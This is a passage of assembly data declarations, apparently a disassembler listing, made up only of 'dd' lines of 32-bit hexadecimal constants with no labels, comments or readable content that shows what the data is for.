		dd 946F2044h, 98E82C50h, 0B49260B0h, 0C2DC94ABh, 145B42D0h
		dd 8BEC7FBEh, 667ED4A0h, 5FFF8E09h, 8F003011h, 80025058h
		dd 7FA100B3h, 3320BB76h, 9526DD6Fh, 40000CD6h, 2A0CC42Bh
		dd 0CF49075h, 69DB7F7Dh, 47006F40h, 3FAE4C19h, 0FD6AB2h
		dd 6CB54492h, 88A8C2A0h, 0A6220B00h, 0AE40E5FAh, 4C158A7h
		dd 1FA31F12h, 0AB308264h, 8C1ED39h, 7FA00732h, 3FBD154Ch
		dd 2139A7C8h, 7D114BB2h, 121C9861h, 1170689Ah, 0C4E68146h
		dd 372CC715h, 20B25013h, 0E2B8C61Ah, 71D20166h,	0D86911BDh
		dd 25EEC8DAh, 0E0DBE00h, 9F526312h, 0BBE5001Ch,	666A15B1h
		dd 21034C28h, 7AA789B0h, 5DA6B2BAh, 80552424h, 78B638A0h
		dd 7415942Eh, 591C0C40h, 7E0A09FAh, 0B42EFBE1h,	49FD7280h
		dd 40DA476Ch, 0B8C84018h, 5697B85h, 15047FFAh, 28F004A8h
		dd 4AC08161h, 0A55C65D0h, 29E8E8C0h, 48E55CCAh,	2475AA80h
		dd 3F0C4F3Ah, 3018B449h, 9961C0CDh, 0CF4E89FBh,	0FA78BA98h
		dd 0A18C1E12h, 89D7484h, 823C817Ah, 10492A16h, 3660C9A6h
		dd 0F0923820h, 0B0685C46h, 99AD8F0Ch, 223A5128h, 7EE801A7h
		dd 0F9C94FDAh, 0A2850060h, 90D89CF4h, 9690h, 5B636BA3h
		dd 52128FCCh, 0B8D76803h, 7D9AD883h, 109E6230h,	80098B3Dh
		dd 97467547h, 0EA070543h, 93C1292Ah, 8AE00C2Ch,	1F597F44h
		dd 92650040h, 0F376AA6Bh, 2678E5h, 271A4BD2h, 416F7C28h
		dd 0C84A1117h, 71C24E0h, 0E9B56A8h, 0CA9AB48Fh,	0DD8039F8h
		dd 2AE70764h, 92006AA8h, 2C021B49h, 3EF07537h, 90BEAF1Ah
		dd 0FA4BFC44h, 57AB0030h, 0A9090B47h, 6013DB20h, 48E041A2h
		dd 27801C7Ah, 0AE891CBh, 45D45A22h, 0CD9C0E29h,	9E06F094h
		dd 58717546h, 993030A0h, 0BAF33F80h, 0F2B4BA84h, 7C40C116h
		dd 2BF649BEh, 1394CF0h,	0DC4B91E5h, 0A688408Fh,	44EA6070h
		dd 0B5D2C706h, 31D52410h, 0D0E61814h, 20C962A3h, 54C028FDh
		dd 0F8304649h, 3C00072h, 0CEA7EBCFh, 8A05A21h, 0E2BD58Fh
		dd 3B3C68h, 4C0A1E75h, 0CACE8Eh, 0AED80CE1h, 2F679221h
		dd 0A5F27903h, 0A024E7D2h, 0EA299E8h, 2943A47Dh, 7207D788h
		dd 0AF605E7Eh, 94FA4CE5h, 0AC2D14F8h, 47C04458h, 6C5BE4C7h
		dd 27CFF51Ch, 4900DD5Fh, 7D4A29BBh, 9426302Ah, 0DC460431h
		dd 99E1F500h, 0B06922CDh, 0C0FF2429h, 3000E940h, 180BAC8Ch
		dd 0A090E18h, 3ECCE79Eh, 35810CE3h, 29559251h, 80ADDC4Bh
		dd 0C47A9624h, 0E0FC6889h, 4D604AA0h, 9104003Fh, 0C087E616h
		dd 0E9E77782h, 0E20E3302h, 0F6952AF9h, 808A0744h, 0EFD58204h
		dd 4EE96001h, 0C36B8DE0h, 0AB716110h, 0A838F07Bh, 8804CCDAh
		dd 0FA8F415Ch, 759040CBh, 0F10F65D4h, 0F88E6Dh,	0E568AE8Dh
		dd 842750B9h, 154916BDh, 71DC9CC5h, 6F7F7A12h, 1980BCB0h
		dd 80956D2Ah, 0D827C45Dh, 8399A31Fh, 42D4C115h,	0D8027640h
		dd 5D8DE84Ch, 2A334187h, 8465E7D1h, 844B7447h, 44802D94h
		dd 0A0A05180h, 1865DBECh, 90CD5B4Ah, 7D1352F9h,	0B8CBFCBDh
		dd 0AF736202h, 7CD44D91h, 5DA8086h, 99CA0581h, 817E87E1h
		dd 30D2A172h, 11068F70h, 5C357F67h, 58576528h, 0FBD40336h
		dd 0A2908DE1h, 6A308FA6h, 7D266886h, 91EB0262h,	2E274555h
		dd 8946A0C0h, 2489B0DCh, 3A029FCh, 1359AF98h, 0D7A458h
		dd 4C94ADECh, 0C6002AC2h, 13EB9BFCh, 607C7F62h,	47E40B6h
		dd 903F6020h, 21DCC942h, 4401366h, 1F3E7F8Ch, 2E286C80h
		dd 9FF7DEh, 0DD7321BDh,	2DFE77BFh, 99F9C8C2h, 53051C0h
		dd 8C428BA0h, 0F32E68A0h, 0D822112Ah, 0BAA17101h, 748FDD5Eh
		dd 0E047FC52h, 3E7095E8h, 0FD3B1817h, 69C218EFh, 0F056DDD5h
		dd 980038A4h, 80CBEDB5h, 187660FEh, 5549CC4Fh, 0AF280F60h
		dd 5CE49BB0h, 97049CE0h, 850DB4F2h, 0BB7480E8h,	32018B6Dh
		dd 127D5829h, 0C86CD065h, 0A68A024h, 25C661Ch, 0D04F2A84h
		dd 3046DF01h, 92812EE0h, 0DC3D5898h, 60058E12h,	0CE6B2210h
		dd 0C981AD1Fh, 25E3600h, 59CAA124h, 0A05FC89Ch,	7D0017B0h
		dd 21DCE75Dh, 344929F7h, 9220326Dh, 98052ACCh, 0D1A6885h
		dd 80FCE008h, 8E9D50F9h, 0F33E004Eh, 2A23D2D1h,	22E67F59h
		dd 7C333A4Eh, 78A050B6h, 471C2F40h, 307D1878h, 0BA78EB0Fh
		dd 1E0077FCh, 0D48F66BEh, 90A89826h, 7DC430F4h,	0F5755EB1h
		dd 0A483A300h, 52E10571h, 255AF03Ch, 6C03992Ah,	0C5F5DAC7h
		dd 0F470A0FDh, 9285A009h, 3EC84463h, 800F15E5h,	8853B4CEh
		dd 91208F9Ch, 24DA4E81h, 8CA08290h, 0BC7EE0C0h,	6BE54919h
		dd 43FACF90h, 29ADF874h, 0F64B648h, 0B200D1Eh, 6A7980C6h
		dd 2C13889Ah, 50315921h, 11009EAEh, 42F0CB6Dh, 8C10C160h
		dd 183A073h, 8D99FCC0h,	97ED782Ah, 0D0069258h, 2EA8B368h
		dd 62340EF7h, 0E4427D57h, 0D921C80h, 730B1C46h,	20F4947Fh
		dd 8D261B18h, 0A1ED022Fh, 64920177h, 0D75A3044h, 8480D042h
		dd 0EFE47AA6h, 2700403Fh, 60C72332h, 7244A4Ch, 1EA9A373h
		dd 82892AC0h, 53035BB4h, 941100E0h, 5E1EB2ECh, 4594C058h
		dd 63C4217Ch, 6585688h,	8BAB8024h, 8A7E1D74h, 5B742CBEh
		dd 10757030h, 0D7B5F2h,	22FF1147h, 0E8624337h, 0CC172A13h
		dd 4049C48Dh, 3929F010h, 5720C168h, 7CAFE37Fh, 8488117Ch
		dd 7212CC48h, 1004A2D9h, 6802CC3Bh, 5B21B39Bh, 6D5C64E6h
		dd 0D5F28460h, 243650F1h, 0F8109125h, 4F5F64F9h, 48801C21h
		dd 0D38CA3C6h, 0CAA1E254h, 0C9F8490Ch, 9C09BEF0h, 29EF6608h
		dd 0D4A4ABF4h, 824FB59h, 9B09BF9h, 98D8598Fh, 0C6E84BA1h
		dd 64025C51h, 0E005291Ch, 0F4A97CC0h, 0E34CB219h, 88E306Dh
		dd 0C38548F4h, 0E70CC278h
		dd 189128A4h, 1B69A31h,	76D8FB78h, 39A721BAh, 4CC75108h
		dd 12578A8h, 0FB2C3942h, 80BA2830h, 0FC968C7Fh,	14148A12h
		dd 1E0AA0A0h, 0E02980EAh, 65129091h, 0B3E41006h, 4A64B0D1h
		dd 0D5D42098h, 0BF52CA8Fh, 5A8600CCh, 9F68C2CDh, 8495092h
		dd 0E8BA4D80h, 532A770Eh, 0E00C8917h, 0F1C0CB0Eh, 0F9A90949h
		dd 84809419h, 0B3212ADCh, 0F4CC5148h, 772E1127h, 4A50549Dh
		dd 0E88E0421h, 9523BF0Ch, 0C87C2D54h, 0E916E646h, 3C121CB6h
		dd 492F3402h, 64D805h, 0B4FADDD6h, 6B91ACDBh, 74450C0Bh
		dd 0F54C0493h, 82D800D2h, 0D1AFF128h, 38F6098Ch, 3DDC1400h
		dd 480CB60Bh, 58312A4Ah, 4EE41Ch, 0E075E944h, 70ABEA4Dh
		dd 7E498A00h, 64F6CAB4h, 80749411h, 760AD6F8h, 0BC009B82h
		dd 80A521BFh, 0D07D0Fh,	0E8FB342Fh, 0F5F11D89h,	0FE29B909h
		dd 4F08209Ch, 60A82A7Eh, 47211EEh, 7F275812h, 52D400CAh
		dd 51ABAFD8h, 0E032F0E2h, 0D0F7F00h, 468FFE32h,	0A248BF48h
		dd 4A5440E6h, 6864EFB7h, 9F389EAEh, 571E05D1h, 881081C9h
		dd 0D81C5192h, 7022DFh,	1F0E1E45h, 1F68DDCCh, 4089BE90h
		dd 0F0BC2F28h, 0CCBC9EE9h, 68849252h, 0B57AC7B0h, 1818180Fh
		dd 8CF9EF7h, 2A8701F2h,	3884BDDEh, 88F068FEh, 837B5D58h
		dd 0D4004671h, 77CC2739h, 0F67CEFA8h, 68014E6Fh, 0E92E4AE4h
		dd 4881405Ch, 2713980Dh, 5CDC4h, 0A6220439h, 63FF3CDBh
		dd 2BC4A709h, 60CCEA0Ch, 0D276CFF7h, 0BF0801C9h, 8726C049h
		dd 7E5DF950h, 80B090CBh, 117C6497h, 258CD836h, 9AA6D612h
		dd 10EC0C14h, 4F16BFC8h, 0A8080033h, 8F3E9EB1h,	70CE1320h
		dd 4D689869h, 29C2A07Dh, 0F605E2C0h, 0D392E8C2h, 342882ACh
		dd 386CBD46h, 50458F5Ch, 865FC76Ch, 71ADA406h, 7E211E38h
		dd 0BE76C0ABh, 66C0DA77h, 4A730406h, 90E8367Bh,	49B3127Ch
		dd 0B470490Ah, 0D0C97C06h, 0DA7D6E01h, 4DA64AEFh, 68F0D4D9h
		dd 2E4279FAh, 64AC6D48h, 0F78CA0F3h, 8C406C98h,	211F01A7h
		dd 74039D7Dh, 49CC20F4h, 16411800h, 7501A522h, 8FDF090Eh
		dd 6825DD36h, 5F0C9049h, 4B4A097Fh, 9ACEC0C8h, 0E1C921C8h
		dd 2ED92904h, 0CF80F201h, 28E06472h, 668F838h, 63F34A51h
		dd 8FD00DA8h, 7C38FD53h, 64802490h, 158EE6C1h, 45A40E2Ah
		dd 44E9E805h, 2D4E734h,	8D097687h, 8CECF6F0h, 4E87CE1h
		dd 48D6D1C8h, 946CC01Fh, 0A42E9566h, 233ABCCDh,	780A14FEh
		dd 0C06E2912h, 48B519B4h, 80E0F60Ch, 304C9A9h, 8F674998h
		dd 30009009h, 71D1771Bh, 9624082Ah, 49094FB0h, 68F928C0h
		dd 0B690F712h, 8FE85C91h, 0EA196CCh, 0E75A1246h, 44C0834h
		dd 76729502h, 1040D6A5h, 7F00CB78h, 7C4A1BA6h, 4838D5BAh
		dd 7D12C0EDh, 290900CAh, 0AF49CFA7h, 0A4AC3050h, 99683E02h
		dd 0A3264F0Eh, 0F0832C9Ch, 50124Eh, 0F0D0DDD5h,	0D82A1065h
		dd 8EA8C960h, 12155AA7h, 0F0CC80DAh, 37482FC8h,	278971F4h
		dd 4EE466E6h, 0CF78A062h, 4415312Eh, 99F06349h,	28A825BAh
		dd 0A8C520C0h, 1CD47900h, 2210C3FDh, 48580069h,	2C273D05h
		dd 213D0BCBh, 6A49044Ah, 38B0AC2Ah, 42D90430h, 3117D29h
		dd 0E4C0AFC7h, 0D30520B2h, 0C0F4D8BFh, 4A8AC434h, 0B52A2309h
		dd 2C7859BEh, 845C109Ch, 0D0E0F88Fh, 6D270DBFh,	0F0083C99h
		dd 109DB341h, 1FF5DFB4h, 80AFC4A5h, 68EBC2A7h, 0AC38598Ah
		dd 565C040Ch, 24A6AE90h, 59134A0Bh, 608F50E0h, 0D97C0595h
		dd 0B5E40CCh, 6824F290h, 78E004E8h, 48DB9400h, 4A7C5492h
		dd 0D09E6034h, 1A88EEBDh, 4E584F07h, 82F12728h,	4870A9EBh
		dd 0A0800773h, 853BA7FCh, 0C4081E71h, 0E06B49BCh, 0A25D104h
		dd 29280251h, 0F9F8A507h, 3118E0E8h, 908099E0h,	0D4DF8E2Eh
		dd 0B11EC4A8h, 460262E6h, 0C899498Ch, 77BC424h,	4D1CDADEh
		dd 0A0C5C584h, 0C1E82898h, 66AD8501h, 0E2E6A13Fh, 3B3A5F0h
		dd 20A6F158h, 8CA490ECh, 0E475F484h, 920D6900h,	0A2621A48h
		dd 0ED80129Ch, 568C81B3h, 133816A8h, 14DAF8Fh, 0C749BB40h
		dd 0CC302A6Fh, 929931F9h, 1360985Ch, 41FCC980h,	6649197Ch
		dd 0F0A8A444h, 0AC0B1711h, 3C44F69Bh, 0B18481Dh, 0EB491F83h
		dd 1614A7Fh, 0B40C6750h, 0C1828C8h, 5041AD4Ah, 43F9006Ah
		dd 10F15A22h, 2700C66Fh, 989921Bh, 3F718A11h, 0B8E33990h
		dd 0A8F01E46h, 0E83A91BFh, 0CB82029Bh, 70E32A60h, 56A70058h
		dd 7F4BC17Dh, 0BC921969h, 9A9D64Ch, 0E2A1ADF9h,	2B080444h
		dd 0FCCB4CB1h, 2C22AD1Fh, 0E5240F4Ch, 0B98A2920h, 7F0B28C3h
		dd 9C610007h, 87AAF339h, 12490AA9h, 40417F64h, 252A5060h
		dd 6CE4CBD3h, 9865C4F0h, 0A41D10h, 90972508h, 0DA8A74E0h
		dd 639470C2h, 7154720Bh, 98F44ABCh, 50EBED8h, 0C2CAAADDh
		dd 846FDABDh, 3CC0359Ch, 0EBC6B42h, 493AA739h, 0A368B72Ch
		dd 0C80D0104h, 70C057ABh, 0CF77DB80h, 0BECBAF50h, 9B4A7C21h
		dd 393080AAh, 8B49BA8Ah, 2C115871h, 50524A83h, 5E2C101Ch
		dd 8FC1A342h, 4404C8BFh, 5CC40317h, 0F034C665h,	8F21E1F8h
		dd 0E482E990h, 0AA20E0DAh, 767F4F6h, 0F3322FD7h, 82B8C0AEh
		dd 0CCB06DD6h, 3C1B4620h, 0DE5890E8h, 4F44838h,	81644BA9h
		dd 499C8020h, 0B0C2BB50h, 732B2FCBh, 0FCE0085Ch, 0CA49B903h
		dd 0CE183E96h, 287B510h, 45214A41h, 8ECF911h, 0C2026D46h
		dd 0F13DFA8Fh, 1CD04910h, 9F42509Eh, 4864ECB4h,	3831AC55h
		dd 201D9450h, 129D272Ch, 42307448h, 507EFE32h, 0E7438A61h
		dd 97173C23h, 0B4F0124Bh, 0A9DBF58h, 290A546Ch,	320A5447h
		dd 2A80C0B9h, 49D63078h, 20485ADFh, 0AF98C708h,	0CC4BACBCh
		dd 0EC0B95C0h, 9CC1580Bh, 0F4F044B3h, 0D4208F50h, 4249ED6h
		dd 0CDBC4A0Ah, 5B803C30h, 76C9D072h, 0C5AC4548h, 98456BFh
		dd 0EC98DEFCh, 0C4A00479h, 0CD803AE4h, 0DC3F2A0Ah, 20DA5B30h
		dd 947F62F0h, 24A7D40h,	4EE78EC9h, 8CE0C8CBh, 0BC80D19Eh
		dd 44039727h, 0AD88BE95h, 0FA4F80F9h, 0BCB08484h, 643A9DE8h
		dd 0A3F8DC60h, 22A73884h, 6BDAD102h, 3860C989h,	0FE802195h
		dd 98C095E8h, 771673EEh, 94BD68CCh, 684C0C90h, 6840670Bh
		dd 0E3C11013h, 0A14C24B6h, 0DE7C7601h, 9C04214Fh, 426BCCh
		dd 271DB7B0h, 28247526h, 7E8A6209h, 0AD149004h,	6750C43Ch
		dd 11FCF29Bh, 2A0063DFh, 1FE16EF0h, 12FA6029h, 80D0622Fh
		dd 4B8FCDDCh, 8240DC35h, 312FD1C0h, 344518D4h, 0F0298022h
		dd 0BC9C7E74h, 0E1FE8390h, 0A6C3568Dh, 80E51009h, 72C8E0CBh
		dd 288E7AD9h, 9CDDA159h, 1D98A688h, 284EA518h, 0A6232509h
		dd 0C83CAE9Ah, 7CCA02BEh, 0F5DC7D3h, 21A08481h,	7691E4F0h
		dd 0B5690FBEh, 2FC5EDA2h, 8196F11Fh, 2A04CF20h,	34243022h
		dd 0B9752C7Eh, 0B4340BEBh, 0F0E4A491h, 0A100DFD9h, 6C8A0270h
		dd 9D7BBB7Fh, 1A418030h, 467A5501h, 1B7F80E3h, 942C402Ah
		dd 0E24DC423h, 0FF97E800h, 89A96CF7h, 627F1B70h, 12A92830h
		dd 0FF91E05Ah, 0B428A24Bh, 802E4827h, 2A848392h, 101382C3h
		dd 1C0FA3F5h, 6A8F4249h, 29D48732h, 9207F16h, 6CD4F9F4h
		dd 0FE8DC28h, 685A4080h, 0C50128E6h, 0CAAB906Ah, 29D15E02h
		dd 0F2E0D461h, 0B78F258Dh, 4C925082h, 4A058073h, 0ACF7532Bh
		dd 4F372916h, 0C42A6F8h, 0EAE0C752h, 0FB00B36Eh, 268DA967h
		dd 49EE7B17h, 34501CC4h, 2149C2Eh, 74AF49B3h, 4A43985Ch
		dd 0C9009CBFh, 4EC0D53h
		dd 22415D13h, 0ACBA7000h, 13B40F34h, 49BDFC49h,	0B4CA7BDCh
		dd 98A78A2h, 54F35B00h,	6AE70EE0h, 0B1567F65h, 478C484Ch
		dd 989FA978h, 9D8267ECh, 0D001B492h, 804CE649h,	44E4CB90h
		dd 0B0C51D6h, 0F380F24Bh, 0B2F0C86Bh, 46781371h, 6A0001E8h
		dd 2BA3347h, 3C16Eh, 0D61B7712h, 0ABF8FD46h, 98428E5h
		dd 0F2C26929h, 0CCA40058h, 11F47122h, 0C8707F57h, 78B9A092h
		dd 0DCA02593h, 34554099h, 0D1A7741Fh, 3816E6h, 30886C1Ch
		dd 0E2D3795Bh, 690C072Fh, 0A00D5222h, 3B99124Fh, 81722109h
		dd 0E7388016h, 2880A823h, 38B13Eh, 0A98237BDh, 3158031Dh
		dd 0EB40CA04h, 74D0752Ah, 97A0FCh, 0E7E8E9B3h, 84FAA82h
		dd 2E91D248h, 66153099h, 6838D0h, 461593C0h, 7205B362h
		dd 8E489155h, 3B874B56h, 0F829847Fh, 0C8C0007Ch, 21ABF66Ah
		dd 28A13CA5h, 0C148A037h, 0E2BE9040h, 0EDFFC4E0h, 0EBF8E095h
		dd 920C00F4h, 0AB64F34Bh, 9005689h, 13A2C8BCh, 7C68C553h
		dd 80FF0B9Dh, 5871A91Fh, 0C856AF89h, 307F28C4h,	7D102C82h
		dd 449C142Ah, 11EA026h,	0CA15E13h, 81A0523Fh, 23B988h
		dd 48E54A47h, 2FA7941Dh, 0C14E9D84h, 7380A968h,	0C0626A9Ch
		dd 0B9E21900h, 0E87721B6h, 24C54C43h, 809D4102h, 307CBB8Fh
		dd 2C3B7088h, 45750918h, 0A5170404h, 0CAB040DCh, 0A840928Fh
		dd 0CBA500DFh, 5D227FB1h, 0E80BB5C2h, 138E7DEh,	0EA379548h
		dd 9272E0h, 0E070F763h,	0E92280F4h, 0D20470C5h,	8027E40Eh
		dd 7AD8290Fh, 0E8470A72h, 0FCA532h, 0DE3C755h, 0CF5A6D12h
		dd 2C53E098h, 44C8C80h,	0B8DF2A7Eh, 6F67058h, 0C05561CAh
		dd 0F41F3813h, 0CC1635D6h, 0CABA3041h, 0D8850D61h, 91646B80h
		dd 0E0FAD1BCh, 6BE3A21Bh, 0C8B98030h, 8FC8A218h, 2F2BE824h
		dd 0CC00C0ABh, 0A976792Ah, 0FC07A491h, 0EDB38168h, 0B100033h
		dd 164278FAh, 36092287h, 58DC80F5h, 4E58AC80h, 244898EFh
		dd 29A6A809h, 2004C048h, 9B0E03ACh, 195808Bh, 697A4000h
		dd 0D58DE864h, 83CBC2Bh, 939E7DCh, 40CC9042h, 16761284h
		dd 995D2DCEh, 0F8042E9Ch, 7CFC998Fh, 0CD808C02h, 0EC40CBA4h
		dd 580E94ADh, 18E1905Ch, 1C591120h, 96CC2AD5h, 80C4802Eh
		dd 2F80467Eh, 6049132Ch, 8F40819Bh, 0CE3C75C6h,	2A1080D8h
		dd 0FB023C94h, 81518FCCh, 523CA05Fh, 0B6A51590h, 0CAE8E7D0h
		dd 0B68B0B58h, 0A10FCE4h, 290CE969h, 1930BCC3h,	0E3B36503h
		dd 0FA0ADFFEh, 3CD8F9CDh, 31ED0618h, 28812E8Eh,	733FCC2Ch
		dd 0E85CEAC0h, 0DBAD02A0h, 0D46C11B6h, 0D5F50130h, 68689204h
		dd 83EC897Ch, 0C5B65B98h, 6474348Ch, 0E4FA108Ch, 5A781378h
		dd 6DF80B82h, 44699C24h, 0D228377Fh, 0F0D60A58h, 307BB2BFh
		dd 27B040E3h, 1D9C0382h, 2FCD7D8Ah, 5C80FD88h, 484A8B40h
		dd 73068D6h, 6CDE7B79h,	68F33Ch, 98047D2Ah, 250A674Bh
		dd 4810CE8Fh, 0D00022E0h, 6C91BF57h, 251052C3h,	6040D7F5h
		dd 0C0CC99CCh, 5E9E11C4h, 919447B6h, 5F922154h,	0FA6860D6h
		dd 11D6F250h, 0A700C2F8h, 407D21C7h, 2D0C3541h,	0E0B8052Dh
		dd 9280FDFEh, 72010976h, 285CCD77h, 792F818Bh, 48E72D4Ch
		dd 4CEA88h, 0DF41D6D1h,	1B059A45h, 795C7F76h, 77C2B4BCh
		dd 80E88C2Ah, 0DBA0D81Ah, 0A1CA9D7h, 8F4EE9A8h,	47985820h
		dd 2F790527h, 0E5042B1Ah, 0D8882480h, 0C49632F8h, 1A680B69h
		dd 0BD7884B4h, 9A29C4C3h, 88087582h, 8BBB9E98h,	0E0EE2879h
		dd 52289895h, 9231F680h, 0BB1E3E54h, 0D88286B8h, 84C74678h
		dd 9ECC37E0h, 18BE00B0h, 39362760h, 34C7EC2h, 3AD5B21h
		dd 0D6E0F9EDh, 51EC0EDBh, 196B220Fh, 8F68224Eh,	45D4443Dh
		dd 89F929h, 2D0F7192h, 14C6BD27h, 1B99B720h, 28696A29h
		dd 0A50FD00Ah, 8F8414B9h, 9100FF22h, 0E420684Dh, 0FB37560Ch
		dd 6098BFh, 6BDCAC0Dh, 93A77D1Ch, 614A1715h, 86A200A8h
		dd 8F2956BDh, 0F4009743h, 7C67A5BAh, 0F9B6C506h, 26F066E9h
		dd 84508D8Fh, 0B32C7DACh, 0C4E800FCh, 7362763Ch, 659102A9h
		dd 0CC8C89DFh, 0D616BC40h, 120EEF01h, 2EE7CF6Eh, 1D8B4060h
		dd 0B0E4AC2Ah, 877585B8h, 9307B87Ch, 8DBF0E12h,	79C34C40h
		dd 0D1CF00D4h, 41579F60h, 73001C28h, 0F172A1DDh, 129E1CAh
		dd 8A0ACCB2h, 20687F5Ch, 0E4256172h, 7E1C4417h,	89381DDFh
		dd 6C85A580h, 179CF02Dh, 53002496h, 1415FEADh, 538E5A90h
		dd 80F424CCh, 0CBECD360h, 0F7BBD600h, 9E200AD7h, 80565B7Ch
		dd 0F82D6580h, 2F273902h, 0C0BCC223h, 50285FF5h, 0ECFA08D7h
		dd 0F5302A8Fh, 0D49B9FE0h, 0C5891E2h, 5029B316h, 10DCBC0Eh
		dd 2E71127Eh, 25883805h, 1C638582h, 0C4E48F2h, 0B670FEFCh
		dd 711F440h, 36E7CD7Eh,	98B10A8h, 9000A9EFh, 0A7F8C858h
		dd 1940FAD5h, 79162A8Ah, 1C422AFBh, 0FCAC8FF9h,	0C58047C8h
		dd 4F385238h, 929EF618h, 23904051h, 635EBB42h, 0BC00AC94h
		dd 8820051Fh, 91E800BFh, 5CB5CB17h, 0EC60A62Ah,	90A0F970h
		dd 51813CBEh, 8FCF5860h, 0A099D1E6h, 125846ADh,	0B279534Ah
		dd 0A3F5017Ch, 0D57008C9h, 7A98080h, 7A620521h,	50C1AF00h
		dd 4A0C8CA7h, 0F040B557h, 9E02B81Ch, 28FD695h, 937048F2h
		dd 0D04A80D9h, 0B41C80B7h, 2DCA3957h, 8641EF2h,	30472A26h
		dd 0E06000E9h, 7365220Fh, 4CA50041h, 27C2ADBCh,	0CA1F9628h
		dd 7DC0795Eh, 0E0E650ECh, 4538288Fh, 89B913A4h,	7F48E4D2h
		dd 655BA972h, 0F945C820h, 301895CAh, 989725B5h,	5433C7B0h
		dd 304A506Ch, 0E1105B60h, 10B9348Dh, 382636h, 0F0B6671Ch
		dd 0A48180BFh, 8CDC50F5h, 140B70F2h, 497A0F1h, 0F703FC8Ch
		dd 0E0C27BD1h, 0C1A64868h, 7CDF8F51h, 2A7F855Ch, 1200EC6h
		dd 0BD1A8E1Dh, 3F3180ADh, 926D9800h, 20EC4Bh, 0FFA0B546h
		dd 0F05F21C0h, 8DBB105h, 0F0A02D8Fh, 9190042h, 38F3C903h
		dd 0EB06BFF5h, 992AF66Ah, 1370F291h, 0E7DA7B90h, 0D85858h
		dd 604CD24Ah, 3F1D6392h, 40055342h, 31E46E5h, 0F9038008h
		dd 242C9CE5h, 8B25B090h, 418002AEh, 0DDC90F17h,	0B0606C7Ch
		dd 5A6F19F0h, 298C30FAh, 0C780E616h, 504C4817h,	30641ECBh
		dd 0C413349Eh, 93F9F080h, 533AFD9Ah, 0A858CC48h, 2D61867Ah
		dd 8FAA8018h, 1DDA2880h, 7616CF81h, 94F73500h, 84F1A605h
		dd 93CB8E6h, 8F852AE9h,	6A009CD9h, 755E9D57h, 0ABF63EC7h
		dd 92A4C50h, 28F1907Bh,	0FFBD4080h, 3C00E0D7h, 0A770F88h
		dd 7627CE76h, 3BD982Eh,	0BEF2AA42h, 0ADE46929h,	0EEE1070h
		dd 0A52AE71Eh, 0E89E0874h, 0FF58C0E5h, 17D8915h, 0C88E8630h
		dd 0E8002229h, 4FAC218Fh, 592A1B0Ch, 27F358D1h,	0A443D280h
		dd 0E1FAD7C0h, 0AC90E524h, 0CCC02035h, 54124A11h, 2493FCBBh
		dd 210BD7Ah, 627F4C89h,	5E6CE257h, 0AB7C810Ch, 0D26B4ECAh
		dd 38B018F8h, 289E0CE2h, 29296h, 77C5744Fh, 39976403h
		dd 0F2936AE1h, 695A1082h, 0F8028A10h, 0CC878B3h, 0FB851FECh
		dd 1C2C2168h, 5D3C1946h, 80E638C8h, 0CD8C517h, 720D65DAh
		dd 0E0AB608Fh, 0BD0F45DEh, 0F58A6612h, 54FD3009h, 0B0639620h
		dd 83096B98h, 99CFDEA9h, 0B89DE838h, 0C038D7FEh, 0A82C9F44h
		dd 6ED7F03h, 3CE6798Fh,	9E012061h, 90538984h, 77F86DD6h
		dd 98CAC24Eh, 1B43D101h, 78EF998Fh, 0C8029368h,	0E1300C37h
		dd 402E3DE9h, 21BAF0B4h, 4B028959h, 3BA7D34Eh, 11EEC149h
		dd 0E158992Bh, 0BD5620CBh
		dd 0E400FD75h, 0BF1C8119h, 98C84891h, 80E21227h, 0E7D080E8h
		dd 0FCEFA42Ch, 0D413A22Fh, 0E01D4878h, 0FF4058F0h, 1E491D92h
		dd 0CEB14208h, 385EA88Fh, 25A5ED01h, 34EDE4C0h,	397346ECh
		dd 8780AB0Ch, 776A4ADEh, 7461E0D6h, 0EC52A11h, 3C3E6C34h
		dd 80129231h, 4FF080B9h, 29FD2BC4h, 1AA70950h, 41D8F1FFh
		dd 6853638Fh, 594500C4h, 0E89FEE4Bh, 884D00EBh,	4A4E15CBh
		dd 21BF4CB4h, 0EECFDD48h, 4B2B2AE0h, 9A9C8C0Eh,	4270140h
		dd 6F11807Eh, 3D08B29Dh, 781C4A29h, 1E904482h, 4C459A6h
		dd 7DCB18Fh, 51191BACh,	45958858h, 0BE6B2100h, 1208B7F8h
		dd 16FD23A7h, 4C0CF2FCh, 0F4286026h, 9CED8FCBh,	78242F74h
		dd 3D9CB472h, 2C2E140h,	4A1731A6h, 84568104h, 0DE7B09h
		dd 8A55C836h, 251CFA79h, 8860E57Ah, 4C00D307h, 0B9EB688Fh
		dd 20EA2F7h, 0A7F3B6BDh, 48E9FF1Ch, 600E7E90h, 12018089h
		dd 0B0E1C964h, 5459005Ch, 79236F92h, 0A8A0D8A4h, 0D73AB312h
		dd 0C15C0BFBh, 8878047Ah, 325ADF00h, 0D1014791h, 0D78A2422h
		dd 77F054D8h, 0E24CF80Fh, 0FC3C0957h, 3CAE8D80h, 0AC4A41A1h
		dd 0E4D0A6BCh, 0B8BA38h, 5E227650h, 7C9D9FFCh, 0D3CF001Dh
		dd 21A4FD0Dh, 941F967Eh, 300FF15Fh, 0A380807Ch,	9A4E3E49h
		dd 8603F688h, 0F842AE26h, 50007896h, 9EBB04CDh,	0D243080h
		dd 49BA0C18h, 208EEF2Ch, 0A9822A7h, 44440A33h, 0C77E427Dh
		dd 0F5D0A2AEh, 0A7A10043h, 45F2487Ah, 30AC5CBBh, 0D255983Dh
		dd 878610h, 3CF297BFh, 0BF04460h, 0CD2A620Ch, 222015h
		dd 4C743B73h, 4FB69069h, 930E80D3h, 0EDD16067h,	26E6B2Ch
		dd 3999FAADh, 82E047A5h, 0FF4E7F74h, 8A772080h,	0E4CA2E41h
		dd 7B66268h, 5028F432h,	80BD1280h, 0D9F10A04h, 8FB62564h
		dd 22003CEEh, 0A48B26A7h, 9C9307Eh, 429A68F9h, 0E84080DCh
		dd 629837E7h, 18A5F8A6h, 920194C6h, 1F0E4B57h, 172BA0D0h
		dd 518FC04h, 642B396Ch,	0C4004CAh, 26DF244Ah, 148F80ECh
		dd 69B4335Dh, 0D47F6C2Dh, 3AAA8000h, 589580FBh,	0B443D8DDh
		dd 7233F49h, 822B8D39h,	0F62AC3D9h, 7F00D186h, 0C5A74483h
		dd 3B64CA27h, 21BE3A26h, 0BEEBF00Bh, 0B8B2F50Eh, 785049F4h
		dd 447DBF26h, 20CE8CACh, 0E1D244A4h, 2070B547h,	24E3BB5Ch
		dd 620C301Dh, 34886Eh, 25FB5986h, 68D29F7h, 0D6EC5800h
		dd 6D499814h, 166201CDh, 60E07DD7h, 0C242AA2h, 446F9CA1h
